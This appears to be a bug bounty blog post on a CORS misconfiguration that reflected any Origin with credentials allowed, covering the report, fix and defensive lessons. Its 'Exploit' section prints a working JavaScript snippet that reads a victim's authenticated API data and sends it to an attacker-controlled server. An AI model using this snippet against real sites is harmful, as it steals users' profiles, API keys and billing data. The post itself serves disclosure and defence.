LOADING
PREYANSH
SHAH
WRITING
001
ARTICLE
MARCH 25, 2026 PREYANSH SHAH

Their CORS Policy Trusted Everyone. So I Was Everyone.

A wildcard CORS misconfiguration that reflected any Origin header as trusted. I made a victim's browser make authenticated API calls to their own account and send me the results. Classic.

002

CORS — Cross-Origin Resource Sharing — is the browser mechanism that decides which websites are allowed to read API responses from which other websites.

It exists because without it, any website you visit could make API calls to your bank, your email, your everything — using your credentials — and read the responses. The browser’s same-origin policy blocks this. CORS is how servers selectively relax that policy for legitimate cross-origin requests.

When CORS is misconfigured, the relaxation is too generous. The wrong origins get access. And suddenly, any website I control can make authenticated API calls to your account and read the responses.

This is what I found on redacted-api.com.


The Misconfiguration

I sent a request to their API with a custom Origin header:

Origin: https://evil.com

The response included:

Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

The server reflected my Origin back as trusted. Whatever I sent — that became the trusted origin.

Access-Control-Allow-Credentials: true is the critical piece. It means: when the browser makes cross-origin requests to this API, include cookies and auth headers. And return the response to the requesting origin.

This means: if I can get a victim to visit a page I control, I can make their browser call the API (using their session cookies), read the response, and send it to my server.


The Exploit

I hosted a page on my server:

fetch('https://redacted-api.com/api/user/profile', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  fetch('https://my-server.com/capture?data=' + btoa(JSON.stringify(data)));
});

Victim visits my page. Their browser makes an authenticated request to the API using their cookies. The API responds with their profile data (because CORS allows it). My script reads the response and exfiltrates it.

I tested on my own account. My profile data — email, account details, API keys — arrived on my server.

Then I tested a more sensitive endpoint: /api/user/payment-methods. Got back masked card data and billing address.

Then /api/admin/users — that returned 403. The admin check was there. But everything accessible to a regular authenticated user was mine.


The Report and Fix

Title: CORS Wildcard Origin Reflection with Credentials — Allows Cross-Site API Response Theft from Authenticated User Sessions

Severity: High

Impact: Any origin is reflected as trusted with credentials allowed. An attacker can host a malicious page that makes authenticated API calls on behalf of any victim who visits, reading all API responses accessible to that user’s session. Demonstrated: user profile data, API key exposure, payment method metadata.

Fix:

  • Maintain an explicit allowlist of trusted origins — never reflect the Origin header dynamically
  • If a wildcard is needed, do not combine it with Access-Control-Allow-Credentials: true
  • Audit all API endpoints for sensitive data returned to authenticated users

Fixed in 12 hours. Bounty: $$$


The Short Lesson

CORS misconfigurations are almost always one of three things:

Access-Control-Allow-Origin: * with credentials — invalid per spec but some servers do it anyway via misconfiguration.

Dynamic origin reflection — the server reflects whatever Origin you send. Looks like a wildcard without being one. Worse than a wildcard because it’s invisible.

Overly broad allowlists — trusting *.company.com when any subdomain takeover (see my previous post) becomes a CORS bypass.

Check your CORS headers. All of them. In production. The staging environment always looks fine.


Reported through the official bug bounty program. All testing used accounts I controlled. Domain redacted per responsible disclosure norms.

003
END
← BACK TO WRITING
Their CORS Policy Trusted Everyone. So I Was Everyone. READY TO PLAY